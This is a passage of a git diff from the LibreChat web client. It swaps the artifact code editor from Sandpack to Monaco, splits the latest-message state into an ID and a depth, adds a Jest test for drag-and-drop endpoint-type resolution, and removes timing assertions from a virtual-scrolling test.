+++ b/client/src/Providers/MessagesViewContext.tsx
@@ -18,7 +18,8 @@ interface MessagesViewContextValue {
 
   /** Message state management */
   index: ReturnType<typeof useChatContext>['index'];
-  latestMessage: ReturnType<typeof useChatContext>['latestMessage'];
+  latestMessageId: ReturnType<typeof useChatContext>['latestMessageId'];
+  latestMessageDepth: ReturnType<typeof useChatContext>['latestMessageDepth'];
   setLatestMessage: ReturnType<typeof useChatContext>['setLatestMessage'];
   getMessages: ReturnType<typeof useChatContext>['getMessages'];
   setMessages: ReturnType<typeof useChatContext>['setMessages'];
@@ -39,7 +40,8 @@ export function MessagesViewProvider({ children }: { children: React.ReactNode }
     regenerate,
     isSubmitting,
     conversation,
-    latestMessage,
+    latestMessageId,
+    latestMessageDepth,
     setAbortScroll,
     handleContinue,
     setLatestMessage,
@@ -83,10 +85,11 @@ export function MessagesViewProvider({ children }: { children: React.ReactNode }
   const messageState = useMemo(
     () => ({
       index,
-      latestMessage,
+      latestMessageId,
+      latestMessageDepth,
       setLatestMessage,
     }),
-    [index, latestMessage, setLatestMessage],
+    [index, latestMessageId, latestMessageDepth, setLatestMessage],
   );
 
   /** Combine all values into final context value */
@@ -139,9 +142,9 @@ export function useMessagesOperations() {
 
 /** Hook for components that only need message state */
 export function useMessagesState() {
-  const { index, latestMessage, setLatestMessage } = useMessagesViewContext();
+  const { index, latestMessageId, latestMessageDepth, setLatestMessage } = useMessagesViewContext();
   return useMemo(
-    () => ({ index, latestMessage, setLatestMessage }),
-    [index, latestMessage, setLatestMessage],
+    () => ({ index, latestMessageId, latestMessageDepth, setLatestMessage }),
+    [index, latestMessageId, latestMessageDepth, setLatestMessage],
   );
 }
diff --git a/client/src/Providers/__tests__/DragDropContext.spec.tsx b/client/src/Providers/__tests__/DragDropContext.spec.tsx
new file mode 100644
index 0000000000..3c5e0f0796
--- /dev/null
+++ b/client/src/Providers/__tests__/DragDropContext.spec.tsx
@@ -0,0 +1,134 @@
+import React from 'react';
+import { renderHook } from '@testing-library/react';
+import { EModelEndpoint } from 'librechat-data-provider';
+import type { TEndpointsConfig, Agent } from 'librechat-data-provider';
+import { DragDropProvider, useDragDropContext } from '../DragDropContext';
+
+const mockEndpointsConfig: TEndpointsConfig = {
+  [EModelEndpoint.openAI]: { userProvide: false, order: 0 },
+  [EModelEndpoint.agents]: { userProvide: false, order: 1 },
+  [EModelEndpoint.anthropic]: { userProvide: false, order: 6 },
+  Moonshot: { type: EModelEndpoint.custom, userProvide: false, order: 9999 },
+  'Some Endpoint': { type: EModelEndpoint.custom, userProvide: false, order: 9999 },
+};
+
+let mockConversation: Record<string, unknown> | null = null;
+let mockAgentsMap: Record<string, Partial<Agent>> = {};
+let mockAgentQueryData: Partial<Agent> | undefined;
+
+jest.mock('~/data-provider', () => ({
+  useGetEndpointsQuery: () => ({ data: mockEndpointsConfig }),
+  useGetAgentByIdQuery: () => ({ data: mockAgentQueryData }),
+}));
+
+jest.mock('../AgentsMapContext', () => ({
+  useAgentsMapContext: () => mockAgentsMap,
+}));
+
+jest.mock('../ChatContext', () => ({
+  useChatContext: () => ({ conversation: mockConversation }),
+}));
+
+function wrapper({ children }: { children: React.ReactNode }) {
+  return <DragDropProvider>{children}</DragDropProvider>;
+}
+
+describe('DragDropContext endpointType resolution', () => {
+  beforeEach(() => {
+    mockConversation = null;
+    mockAgentsMap = {};
+    mockAgentQueryData = undefined;
+  });
+
+  describe('non-agents endpoints', () => {
+    it('resolves custom endpoint type for a custom endpoint', () => {
+      mockConversation = { endpoint: 'Moonshot' };
+      const { result } = renderHook(() => useDragDropContext(), { wrapper });
+      expect(result.current.endpointType).toBe(EModelEndpoint.custom);
+    });
+
+    it('resolves endpoint name for a standard endpoint', () => {
+      mockConversation = { endpoint: EModelEndpoint.openAI };
+      const { result } = renderHook(() => useDragDropContext(), { wrapper });
+      expect(result.current.endpointType).toBe(EModelEndpoint.openAI);
+    });
+  });
+
+  describe('agents endpoint with provider from agentsMap', () => {
+    it('resolves to custom for agent with Moonshot provider', () => {
+      mockConversation = { endpoint: EModelEndpoint.agents, agent_id: 'agent-1' };
+      mockAgentsMap = {
+        'agent-1': { provider: 'Moonshot', model_parameters: {} } as Partial<Agent>,
+      };
+      const { result } = renderHook(() => useDragDropContext(), { wrapper });
+      expect(result.current.endpointType).toBe(EModelEndpoint.custom);
+    });
+
+    it('resolves to custom for agent with custom provider with spaces', () => {
+      mockConversation = { endpoint: EModelEndpoint.agents, agent_id: 'agent-1' };
+      mockAgentsMap = {
+        'agent-1': { provider: 'Some Endpoint', model_parameters: {} } as Partial<Agent>,
+      };
+      const { result } = renderHook(() => useDragDropContext(), { wrapper });
+      expect(result.current.endpointType).toBe(EModelEndpoint.custom);
+    });
+
+    it('resolves to openAI for agent with openAI provider', () => {
+      mockConversation = { endpoint: EModelEndpoint.agents, agent_id: 'agent-1' };
+      mockAgentsMap = {
+        'agent-1': { provider: EModelEndpoint.openAI, model_parameters: {} } as Partial<Agent>,
+      };
+      const { result } = renderHook(() => useDragDropContext(), { wrapper });
+      expect(result.current.endpointType).toBe(EModelEndpoint.openAI);
+    });
+
+    it('resolves to anthropic for agent with anthropic provider', () => {
+      mockConversation = { endpoint: EModelEndpoint.agents, agent_id: 'agent-1' };
+      mockAgentsMap = {
+        'agent-1': { provider: EModelEndpoint.anthropic, model_parameters: {} } as Partial<Agent>,
+      };
+      const { result } = renderHook(() => useDragDropContext(), { wrapper });
+      expect(result.current.endpointType).toBe(EModelEndpoint.anthropic);
+    });
+  });
+
+  describe('agents endpoint with provider from agentData query', () => {
+    it('uses agentData when agent is not in agentsMap', () => {
+      mockConversation = { endpoint: EModelEndpoint.agents, agent_id: 'agent-2' };
+      mockAgentsMap = {};
+      mockAgentQueryData = { provider: 'Moonshot' } as Partial<Agent>;
+      const { result } = renderHook(() => useDragDropContext(), { wrapper });
+      expect(result.current.endpointType).toBe(EModelEndpoint.custom);
+    });
+  });
+
+  describe('agents endpoint without provider', () => {
+    it('falls back to agents when no agent_id', () => {
+      mockConversation = { endpoint: EModelEndpoint.agents };
+      const { result } = renderHook(() => useDragDropContext(), { wrapper });
+      expect(result.current.endpointType).toBe(EModelEndpoint.agents);
+    });
+
+    it('falls back to agents when agent has no provider', () => {
+      mockConversation = { endpoint: EModelEndpoint.agents, agent_id: 'agent-1' };
+      mockAgentsMap = { 'agent-1': { model_parameters: {} } as Partial<Agent> };
+      const { result } = renderHook(() => useDragDropContext(), { wrapper });
+      expect(result.current.endpointType).toBe(EModelEndpoint.agents);
+    });
+  });
+
+  describe('consistency: same endpoint type whether used directly or through agents', () => {
+    it('Moonshot resolves to the same type as direct endpoint and as agent provider', () => {
+      mockConversation = { endpoint: 'Moonshot' };
+      const { result: directResult } = renderHook(() => useDragDropContext(), { wrapper });
+
+      mockConversation = { endpoint: EModelEndpoint.agents, agent_id: 'agent-1' };
+      mockAgentsMap = {
+        'agent-1': { provider: 'Moonshot', model_parameters: {} } as Partial<Agent>,
+      };
+      const { result: agentResult } = renderHook(() => useDragDropContext(), { wrapper });
+
+      expect(directResult.current.endpointType).toBe(agentResult.current.endpointType);
+    });
+  });
+});
diff --git a/client/src/a11y/LiveAnnouncer.tsx b/client/src/a11y/LiveAnnouncer.tsx
index 9a02711556..0eac8089bc 100644
--- a/client/src/a11y/LiveAnnouncer.tsx
+++ b/client/src/a11y/LiveAnnouncer.tsx
@@ -56,10 +56,13 @@ const LiveAnnouncer: React.FC<LiveAnnouncerProps> = ({ children }) => {
 
   const announceAssertive = announcePolite;
 
-  const contextValue = {
-    announcePolite,
-    announceAssertive,
-  };
+  const contextValue = useMemo(
+    () => ({
+      announcePolite,
+      announceAssertive,
+    }),
+    [announcePolite, announceAssertive],
+  );
 
   useEffect(() => {
     return () => {
diff --git a/client/src/components/Agents/tests/VirtualScrollingPerformance.test.tsx b/client/src/components/Agents/tests/VirtualScrollingPerformance.test.tsx
index 1e1b7d1e4b..293bd8878e 100644
--- a/client/src/components/Agents/tests/VirtualScrollingPerformance.test.tsx
+++ b/client/src/components/Agents/tests/VirtualScrollingPerformance.test.tsx
@@ -179,9 +179,7 @@ describe('Virtual Scrolling Performance', () => {
   };
 
   it('efficiently handles 1000 agents without rendering all DOM nodes', () => {
-    const startTime = performance.now();
     renderComponent(1000);
-    const endTime = performance.now();
 
     const virtualList = screen.getByTestId('virtual-list');
     expect(virtualList).toBeInTheDocument();
@@ -191,19 +189,10 @@ describe('Virtual Scrolling Performance', () => {
     const renderedCards = screen.getAllByTestId(/agent-card-/);
     expect(renderedCards.length).toBeLessThan(50); // Much less than 1000
     expect(renderedCards.length).toBeGreaterThan(0);
-
-    // Performance check: rendering should be fast
-    const renderTime = endTime - startTime;
-    expect(renderTime).toBeLessThan(740);
-
-    console.log(`Rendered 1000 agents in ${renderTime.toFixed(2)}ms`);
-    console.log(`Only ${renderedCards.length} DOM nodes created for 1000 agents`);
   });
 
   it('efficiently handles 5000 agents (stress test)', () => {
-    const startTime = performance.now();
     renderComponent(5000);
-    const endTime = performance.now();
 
     const virtualList = screen.getByTestId('virtual-list');
     expect(virtualList).toBeInTheDocument();
@@ -213,13 +202,6 @@ describe('Virtual Scrolling Performance', () => {
     const renderedCards = screen.getAllByTestId(/agent-card-/);
     expect(renderedCards.length).toBeLessThan(50);
     expect(renderedCards.length).toBeGreaterThan(0);
-
-    // Performance should still be reasonable
-    const renderTime = endTime - startTime;
-    expect(renderTime).toBeLessThan(200); // Should render in less than 200ms
-
-    console.log(`Rendered 5000 agents in ${renderTime.toFixed(2)}ms`);
-    console.log(`Only ${renderedCards.length} DOM nodes created for 5000 agents`);
   });
 
   it('calculates correct number of virtual rows for different screen sizes', () => {
diff --git a/client/src/components/Artifacts/ArtifactCodeEditor.tsx b/client/src/components/Artifacts/ArtifactCodeEditor.tsx
index 4ab2b182b8..d03397821d 100644
--- a/client/src/components/Artifacts/ArtifactCodeEditor.tsx
+++ b/client/src/components/Artifacts/ArtifactCodeEditor.tsx
@@ -1,206 +1,326 @@
-import React, { useMemo, useState, useEffect, useRef, memo } from 'react';
+import React, { useMemo, useState, useEffect, useRef, useCallback } from 'react';
 import debounce from 'lodash/debounce';
-import { KeyBinding } from '@codemirror/view';
-import { autocompletion, completionKeymap } from '@codemirror/autocomplete';
-import {
-  useSandpack,
-  SandpackCodeEditor,
-  SandpackProvider as StyledProvider,
-} from '@codesandbox/sandpack-react';
-import type { SandpackProviderProps } from '@codesandbox/sandpack-react/unstyled';
-import type { SandpackBundlerFile } from '@codesandbox/sandpack-client';
-import type { CodeEditorRef } from '@codesandbox/sandpack-react';
-import type { ArtifactFiles, Artifact } from '~/common';
-import { useEditArtifact, useGetStartupConfig } from '~/data-provider';
+import MonacoEditor from '@monaco-editor/react';
+import type { Monaco } from '@monaco-editor/react';
+import type { editor } from 'monaco-editor';
+import type { Artifact } from '~/common';
 import { useMutationState, useCodeState } from '~/Providers/EditorContext';
 import { useArtifactsContext } from '~/Providers';
-import { sharedFiles, sharedOptions } from '~/utils/artifacts';
+import { useEditArtifact } from '~/data-provider';
 
-const CodeEditor = memo(
-  ({
-    fileKey,
-    readOnly,
-    artifact,
-    editorRef,
-  }: {
-    fileKey: string;
-    readOnly?: boolean;
-    artifact: Artifact;
-    editorRef: React.MutableRefObject<CodeEditorRef>;
-  }) => {
-    const { sandpack } = useSandpack();
-    const [currentUpdate, setCurrentUpdate] = useState<string | null>(null);
-    const { isMutating, setIsMutating } = useMutationState();
-    const { setCurrentCode } = useCodeState();
-    const editArtifact = useEditArtifact({
-      onMutate: (vars) => {
-        setIsMutating(true);
-        setCurrentUpdate(vars.updated);
-      },
-      onSuccess: () => {
-        setIsMutating(false);
-        setCurrentUpdate(null);
-      },
-      onError: () => {
-        setIsMutating(false);
-      },
-    });
+const LANG_MAP: Record<string, string> = {
+  javascript: 'javascript',
+  typescript: 'typescript',
+  python: 'python',
+  css: 'css',
+  json: 'json',
+  markdown: 'markdown',
+  html: 'html',
+  xml: 'xml',
+  sql: 'sql',
+  yaml: 'yaml',
+  shell: 'shell',
+  bash: 'shell',
+  tsx: 'typescript',
+  jsx: 'javascript',
+  c: 'c',
+  cpp: 'cpp',
+  java: 'java',
+  go: 'go',
+  rust: 'rust',
+  kotlin: 'kotlin',
+  swift: 'swift',
+  php: 'php',
+  ruby: 'ruby',
+  r: 'r',
+  lua: 'lua',
+  scala: 'scala',
+  perl: 'perl',
+};
 
-    /**
-     * Create stable debounced mutation that doesn't depend on changing callbacks
-     * Use refs to always access the latest values without recreating the debounce
-     */
-    const artifactRef = useRef(artifact);
-    const isMutatingRef = useRef(isMutating);
-    const currentUpdateRef = useRef(currentUpdate);
-    const editArtifactRef = useRef(editArtifact);
-    const setCurrentCodeRef = useRef(setCurrentCode);
+const TYPE_MAP: Record<string, string> = {
+  'text/html': 'html',
+  'application/vnd.code-html': 'html',
+  'application/vnd.react': 'typescript',
+  'application/vnd.ant.react': 'typescript',
+  'text/markdown': 'markdown',
+  'text/md': 'markdown',
+  'text/plain': 'plaintext',
+  'application/vnd.mermaid': 'markdown',
+};
 
-    useEffect(() => {
-      artifactRef.current = artifact;
-    }, [artifact]);
+function getMonacoLanguage(type?: string, language?: string): string {
+  if (language && LANG_MAP[language]) {
+    return LANG_MAP[language];
+  }
+  return TYPE_MAP[type ?? ''] ?? 'plaintext';
+}
 
-    useEffect(() => {
-      isMutatingRef.current = isMutating;
-    }, [isMutating]);
-
-    useEffect(() => {
-      currentUpdateRef.current = currentUpdate;
-    }, [currentUpdate]);
-
-    useEffect(() => {
-      editArtifactRef.current = editArtifact;
-    }, [editArtifact]);
-
-    useEffect(() => {
-      setCurrentCodeRef.current = setCurrentCode;
-    }, [setCurrentCode]);
-
-    /**
-     * Create debounced mutation once - never recreate it
-     * All values are accessed via refs so they're always current
-     */
-    const debouncedMutation = useMemo(
-      () =>
-        debounce((code: string) => {
-          if (readOnly) {
-            return;
-          }
-          if (isMutatingRef.current) {
-            return;
-          }
-          if (artifactRef.current.index == null) {
-            return;
-          }
-
-          const artifact = artifactRef.current;
-          const artifactIndex = artifact.index;
-          const isNotOriginal =
-            code && artifact.content != null && code.trim() !== artifact.content.trim();
-          const isNotRepeated =
-            currentUpdateRef.current == null
-              ? true
-              : code != null && code.trim() !== currentUpdateRef.current.trim();
-
-          if (artifact.content && isNotOriginal && isNotRepeated && artifactIndex != null) {
-            setCurrentCodeRef.current(code);
-            editArtifactRef.current.mutate({
-              index: artifactIndex,
-              messageId: artifact.messageId ?? '',
-              original: artifact.content,
-              updated: code,
-            });
-          }
-        }, 500),
-      [readOnly],
-    );
-
-    /**
-     * Listen to Sandpack file changes and trigger debounced mutation
-     */
-    useEffect(() => {
-      const currentCode = (sandpack.files['/' + fileKey] as SandpackBundlerFile | undefined)?.code;
-      if (currentCode) {
-        debouncedMutation(currentCode);
-      }
-    }, [sandpack.files, fileKey, debouncedMutation]);
-
-    /**
-     * Cleanup: cancel pending mutations when component unmounts or artifact changes
-     */
-    useEffect(() => {
-      return () => {
-        debouncedMutation.cancel();
-      };
-    }, [artifact.id, debouncedMutation]);
-
-    return (
-      <SandpackCodeEditor
-        ref={editorRef}
-        showTabs={false}
-        showRunButton={false}
-        showLineNumbers={true}
-        showInlineErrors={true}
-        readOnly={readOnly === true}
-        extensions={[autocompletion()]}
-        extensionsKeymap={Array.from<KeyBinding>(completionKeymap)}
-        className="hljs language-javascript bg-black"
-      />
-    );
-  },
-);
-
-export const ArtifactCodeEditor = function ({
-  files,
-  fileKey,
-  template,
+export const ArtifactCodeEditor = function ArtifactCodeEditor({
   artifact,
-  editorRef,
-  sharedProps,
+  monacoRef,
   readOnly: externalReadOnly,
 }: {
-  fileKey: string;
   artifact: Artifact;
-  files: ArtifactFiles;
-  template: SandpackProviderProps['template'];
-  sharedProps: Partial<SandpackProviderProps>;
-  editorRef: React.MutableRefObject<CodeEditorRef>;
+  monacoRef: React.MutableRefObject<editor.IStandaloneCodeEditor | null>;
   readOnly?: boolean;
 }) {
-  const { data: config } = useGetStartupConfig();
   const { isSubmitting } = useArtifactsContext();
-  const options: typeof sharedOptions = useMemo(() => {
-    if (!config) {
-      return sharedOptions;
-    }
-    return {
-      ...sharedOptions,
-      activeFile: '/' + fileKey,
-      bundlerURL: template === 'static' ? config.staticBundlerURL : config.bundlerURL,
-    };
-  }, [config, template, fileKey]);
-  const initialReadOnly = (externalReadOnly ?? false) || (isSubmitting ?? false);
-  const [readOnly, setReadOnly] = useState(initialReadOnly);
-  useEffect(() => {
-    setReadOnly((externalReadOnly ?? false) || (isSubmitting ?? false));
-  }, [isSubmitting, externalReadOnly]);
+  const readOnly = (externalReadOnly ?? false) || isSubmitting;
+  const { setCurrentCode } = useCodeState();
+  const [currentUpdate, setCurrentUpdate] = useState<string | null>(null);
+  const { isMutating, setIsMutating } = useMutationState();
+  const editArtifact = useEditArtifact({
+    onMutate: (vars) => {
+      setIsMutating(true);
+      setCurrentUpdate(vars.updated);
+    },
+    onSuccess: () => {
+      setIsMutating(false);
+      setCurrentUpdate(null);
+    },
+    onError: () => {
+      setIsMutating(false);
+    },
+  });
 
-  if (Object.keys(files).length === 0) {
+  const artifactRef = useRef(artifact);
+  const isMutatingRef = useRef(isMutating);
+  const currentUpdateRef = useRef(currentUpdate);
+  const editArtifactRef = useRef(editArtifact);
+  const setCurrentCodeRef = useRef(setCurrentCode);
+  const prevContentRef = useRef(artifact.content ?? '');
+  const prevArtifactId = useRef(artifact.id);
+  const prevReadOnly = useRef(readOnly);
+
+  artifactRef.current = artifact;
+  isMutatingRef.current = isMutating;
+  currentUpdateRef.current = currentUpdate;
+  editArtifactRef.current = editArtifact;
+  setCurrentCodeRef.current = setCurrentCode;
+
+  const debouncedMutation = useMemo(
+    () =>
+      debounce((code: string) => {
+        if (readOnly || isMutatingRef.current || artifactRef.current.index == null) {
+          return;
+        }
+        const art = artifactRef.current;
+        const isNotOriginal = art.content != null && code.trim() !== art.content.trim();
+        const isNotRepeated =
+          currentUpdateRef.current == null ? true : code.trim() !== currentUpdateRef.current.trim();
+
+        if (art.content != null && isNotOriginal && isNotRepeated && art.index != null) {
+          setCurrentCodeRef.current(code);
+          editArtifactRef.current.mutate({
+            index: art.index,
+            messageId: art.messageId ?? '',
+            original: art.content,
+            updated: code,
+          });
+        }
+      }, 500),
+    [readOnly],
+  );
+
+  useEffect(() => {
+    return () => debouncedMutation.cancel();
+  }, [artifact.id, debouncedMutation]);
+
+  /**
+   * Streaming: use model.applyEdits() to append new content.
+   * Unlike setValue/pushEditOperations, applyEdits preserves existing
+   * tokens so syntax highlighting doesn't flash during updates.
+   */
+  useEffect(() => {
+    const ed = monacoRef.current;
+    if (!ed || !readOnly) {
+      return;
+    }
+    const newContent = artifact.content ?? '';
+    const prev = prevContentRef.current;
+
+    if (newContent === prev) {
+      return;
+    }
+
+    const model = ed.getModel();
+    if (!model) {
+      return;
+    }
+
+    if (newContent.startsWith(prev) && prev.length > 0) {
+      const appended = newContent.slice(prev.length);
+      const endPos = model.getPositionAt(model.getValueLength());
+      model.applyEdits([
+        {
+          range: {
+            startLineNumber: endPos.lineNumber,
+            startColumn: endPos.column,
+            endLineNumber: endPos.lineNumber,
+            endColumn: endPos.column,
+          },
+          text: appended,
+        },
+      ]);
+    } else {
+      model.setValue(newContent);
+    }
+
+    prevContentRef.current = newContent;
+    ed.revealLine(model.getLineCount());
+  }, [artifact.content, readOnly, monacoRef]);
+
+  useEffect(() => {
+    if (artifact.id === prevArtifactId.current) {
+      return;
+    }
+    prevArtifactId.current = artifact.id;
+    prevContentRef.current = artifact.content ?? '';
+    const ed = monacoRef.current;
+    if (ed && artifact.content != null) {
+      ed.getModel()?.setValue(artifact.content);
+    }
+  }, [artifact.id, artifact.content, monacoRef]);
+
+  useEffect(() => {
+    if (prevReadOnly.current && !readOnly && artifact.content != null) {
+      const ed = monacoRef.current;
+      if (ed) {
+        ed.getModel()?.setValue(artifact.content);
+        prevContentRef.current = artifact.content;
+      }
+    }
+    prevReadOnly.current = readOnly;
+  }, [readOnly, artifact.content, monacoRef]);
+
+  const handleChange = useCallback(
+    (value: string | undefined) => {
+      if (value === undefined || readOnly) {
+        return;
+      }
+      prevContentRef.current = value;
+      setCurrentCode(value);
+      if (value.length > 0) {
+        debouncedMutation(value);
+      }
+    },
+    [readOnly, debouncedMutation, setCurrentCode],
+  );
+
+  /**
+   * Disable all validation — this is an artifact viewer/editor, not an IDE.
+   * Note: these are global Monaco settings that affect all editor instances on the page.
+   * The `as unknown` cast is required because monaco-editor v0.55 types `.languages.typescript`
+   * as `{ deprecated: true }` while the runtime API is fully functional.
+   */
+  const handleBeforeMount = useCallback((monaco: Monaco) => {
+    const { typescriptDefaults, javascriptDefaults, JsxEmit } = monaco.languages
+      .typescript as unknown as {
+      typescriptDefaults: {
+        setDiagnosticsOptions: (o: {
+          noSemanticValidation: boolean;
+          noSyntaxValidation: boolean;
+        }) => void;
+        setCompilerOptions: (o: {
+          allowNonTsExtensions: boolean;
+          allowJs: boolean;
+          jsx: number;
+        }) => void;
+      };
+      javascriptDefaults: {
+        setDiagnosticsOptions: (o: {
+          noSemanticValidation: boolean;
+          noSyntaxValidation: boolean;
+        }) => void;
+        setCompilerOptions: (o: {
+          allowNonTsExtensions: boolean;
+          allowJs: boolean;
+          jsx: number;
+        }) => void;
+      };
+      JsxEmit: { React: number };
+    };
+    const diagnosticsOff = { noSemanticValidation: true, noSyntaxValidation: true };
+    const compilerBase = { allowNonTsExtensions: true, allowJs: true, jsx: JsxEmit.React };
+    typescriptDefaults.setDiagnosticsOptions(diagnosticsOff);
+    javascriptDefaults.setDiagnosticsOptions(diagnosticsOff);
+    typescriptDefaults.setCompilerOptions(compilerBase);
+    javascriptDefaults.setCompilerOptions(compilerBase);
+  }, []);
+
+  const handleMount = useCallback(
+    (ed: editor.IStandaloneCodeEditor) => {
+      monacoRef.current = ed;
+      prevContentRef.current = ed.getModel()?.getValue() ?? artifact.content ?? '';
+      if (readOnly) {
+        const model = ed.getModel();
+        if (model) {
+          ed.revealLine(model.getLineCount());
+        }
+      }
+    },
+    // eslint-disable-next-line react-hooks/exhaustive-deps
+    [monacoRef],
+  );
+
+  const language = getMonacoLanguage(artifact.type, artifact.language);
+
+  const editorOptions = useMemo<editor.IStandaloneEditorConstructionOptions>(
+    () => ({
+      readOnly,
+      minimap: { enabled: false },
+      lineNumbers: 'on',
+      scrollBeyondLastLine: false,
+      fontSize: 13,
+      tabSize: 2,
+      wordWrap: 'on',
+      automaticLayout: true,
+      padding: { top: 8 },
+      renderLineHighlight: readOnly ? 'none' : 'line',
+      cursorStyle: readOnly ? 'underline-thin' : 'line',
+      scrollbar: {
+        vertical: 'visible',
+        horizontal: 'auto',
+        verticalScrollbarSize: 8,
+        horizontalScrollbarSize: 8,
+        useShadows: false,
+        alwaysConsumeMouseWheel: false,
+      },
+      overviewRulerLanes: 0,
+      hideCursorInOverviewRuler: true,
+      overviewRulerBorder: false,
+      folding: false,
+      glyphMargin: false,
+      colorDecorators: !readOnly,
+      occurrencesHighlight: readOnly ? 'off' : 'singleFile',
+      selectionHighlight: !readOnly,
+      renderValidationDecorations: readOnly ? 'off' : 'editable',
+      quickSuggestions: !readOnly,
+      suggestOnTriggerCharacters: !readOnly,
+      parameterHints: { enabled: !readOnly },
+      hover: { enabled: !readOnly },
+      matchBrackets: readOnly ? 'never' : 'always',
+    }),
+    [readOnly],
+  );
+
+  if (!artifact.content) {
     return null;
   }
 
   return (
-    <StyledProvider
-      theme="dark"
-      files={{
-        ...files,
-        ...sharedFiles,
-      }}
-      options={options}
-      {...sharedProps}
-      template={template}
-    >
-      <CodeEditor fileKey={fileKey} artifact={artifact} editorRef={editorRef} readOnly={readOnly} />
-    </StyledProvider>
+    <div className="h-full w-full bg-[#1e1e1e]">
+      <MonacoEditor
+        height="100%"
+        language={readOnly ? 'plaintext' : language}
+        theme="vs-dark"
+        defaultValue={artifact.content}
+        onChange={handleChange}
+        beforeMount={handleBeforeMount}
+        onMount={handleMount}
+        options={editorOptions}
+      />
+    </div>
   );
 };
diff --git a/client/src/components/Artifacts/ArtifactTabs.tsx b/client/src/components/Artifacts/ArtifactTabs.tsx
index 8e2a92eb9c..32332215f0 100644
--- a/client/src/components/Artifacts/ArtifactTabs.tsx
+++ b/client/src/components/Artifacts/ArtifactTabs.tsx
@@ -1,30 +1,26 @@
 import { useRef, useEffect } from 'react';
 import * as Tabs from '@radix-ui/react-tabs';
 import type { SandpackPreviewRef } from '@codesandbox/sandpack-react/unstyled';
-import type { CodeEditorRef } from '@codesandbox/sandpack-react';
+import type { editor } from 'monaco-editor';
 import type { Artifact } from '~/common';
 import { useCodeState } from '~/Providers/EditorContext';
-import { useArtifactsContext } from '~/Providers';
 import useArtifactProps from '~/hooks/Artifacts/useArtifactProps';
-import { useAutoScroll } from '~/hooks/Artifacts/useAutoScroll';
 import { ArtifactCodeEditor } from './ArtifactCodeEditor';
 import { useGetStartupConfig } from '~/data-provider';
 import { ArtifactPreview } from './ArtifactPreview';
 
 export default function ArtifactTabs({
   artifact,
-  editorRef,
   previewRef,
   isSharedConvo,
 }: {
   artifact: Artifact;
-  editorRef: React.MutableRefObject<CodeEditorRef>;
   previewRef: React.MutableRefObject<SandpackPreviewRef>;
   isSharedConvo?: boolean;
 }) {
-  const { isSubmitting } = useArtifactsContext();
   const { currentCode, setCurrentCode } = useCodeState();
   const { data: startupConfig } = useGetStartupConfig();
+  const monacoRef = useRef<editor.IStandaloneCodeEditor | null>(null);
   const lastIdRef = useRef<string | null>(null);
 
   useEffect(() => {
@@ -34,33 +30,24 @@ export default function ArtifactTabs({
     lastIdRef.current = artifact.id;
   }, [setCurrentCode, artifact.id]);
 
-  const content = artifact.content ?? '';
-  const contentRef = useRef<HTMLDivElement>(null);
-  useAutoScroll({ ref: contentRef, content, isSubmitting });
-
   const { files, fileKey, template, sharedProps } = useArtifactProps({ artifact });
 
   return (
     <div className="flex h-full w-full flex-col">
       <Tabs.Content
-        ref={contentRef}
         value="code"
         id="artifacts-code"
         className="h-full w-full flex-grow overflow-auto"
         tabIndex={-1}
       >
-        <ArtifactCodeEditor
-          files={files}
-          fileKey={fileKey}
-          template={template}
-          artifact={artifact}
-          editorRef={editorRef}
-          sharedProps={sharedProps}
-          readOnly={isSharedConvo}
-        />
+        <ArtifactCodeEditor artifact={artifact} monacoRef={monacoRef} readOnly={isSharedConvo} />
       </Tabs.Content>
 
-      <Tabs.Content value="preview" className="h-full w-full flex-grow overflow-auto" tabIndex={-1}>
+      <Tabs.Content
+        value="preview"
+        className="h-full w-full flex-grow overflow-hidden"
+        tabIndex={-1}
+      >
         <ArtifactPreview
           files={files}
           fileKey={fileKey}
diff --git a/client/src/components/Artifacts/Artifacts.tsx b/client/src/components/Artifacts/Artifacts.tsx
index 5b433cf0f6..74b2e20180 100644
--- a/client/src/components/Artifacts/Artifacts.tsx
+++ b/client/src/components/Artifacts/Artifacts.tsx
@@ -3,7 +3,7 @@ import * as Tabs from '@radix-ui/react-tabs';
 import { Code, Play, RefreshCw, X } from 'lucide-react';
 import { useSetRecoilState, useResetRecoilState } from 'recoil';
 import { Button, Spinner, useMediaQuery, Radio } from '@librechat/client';
-import type { SandpackPreviewRef, CodeEditorRef } from '@codesandbox/sandpack-react';
+import type { SandpackPreviewRef } from '@codesandbox/sandpack-react';
 import { useShareContext, useMutationState } from '~/Providers';
 import useArtifacts from '~/hooks/Artifacts/useArtifacts';
 import DownloadArtifact from './DownloadArtifact';
@@ -22,7 +22,6 @@ export default function Artifacts() {
   const { isMutating } = useMutationState();
   const { isSharedConvo } = useShareContext();
   const isMobile = useMediaQuery('(max-width: 868px)');
-  const editorRef = useRef<CodeEditorRef>();
   const previewRef = useRef<SandpackPreviewRef>();
   const [isVisible, setIsVisible] = useState(false);
   const [isClosing, setIsClosing] = useState(false);
@@ -297,7 +296,6 @@ export default function Artifacts() {
             <div className="absolute inset-0 flex flex-col">
               <ArtifactTabs
                 artifact={currentArtifact}
-                editorRef={editorRef as React.MutableRefObject<CodeEditorRef>}
                 previewRef={previewRef as React.MutableRefObject<SandpackPreviewRef>}
                 isSharedConvo={isSharedConvo}
               />
diff --git a/client/src/components/Artifacts/Code.tsx b/client/src/components/Artifacts/Code.tsx
index 6894ce775b..001b010908 100644
--- a/client/src/components/Artifacts/Code.tsx
+++ b/client/src/components/Artifacts/Code.tsx
@@ -1,11 +1,8 @@
-import React, { memo, useEffect, useRef, useState } from 'react';
+import React, { memo, useState } from 'react';
 import copy from 'copy-to-clipboard';
-import rehypeKatex from 'rehype-katex';
-import ReactMarkdown from 'react-markdown';
 import { Button } from '@librechat/client';
-import rehypeHighlight from 'rehype-highlight';
 import { Copy, CircleCheckBig } from 'lucide-react';
-import { handleDoubleClick, langSubset } from '~/utils';
+import { handleDoubleClick } from '~/utils';
 import { useLocalize } from '~/hooks';
 
 type TCodeProps = {
@@ -29,74 +26,6 @@ export const code: React.ElementType = memo(({ inline, className, children }: TC
   return <code className={`hljs language-${lang} !whitespace-pre`}>{children}</code>;
 });
 
-export const CodeMarkdown = memo(
-  ({ content = '', isSubmitting }: { content: string; isSubmitting: boolean }) => {
-    const scrollRef = useRef<HTMLDivElement>(null);
-    const [userScrolled, setUserScrolled] = useState(false);
-    const currentContent = content;
-    const rehypePlugins = [
-      [rehypeKatex],
-      [
-        rehypeHighlight,
-        {
-          detect: true,
-          ignoreMissing: true,
-          subset: langSubset,
-        },
-      ],
-    ];
-
-    useEffect(() => {
-      const scrollContainer = scrollRef.current;
-      if (!scrollContainer) {
-        return;
-      }
-
-      const handleScroll = () => {
-        const { scrollTop, scrollHeight, clientHeight } = scrollContainer;
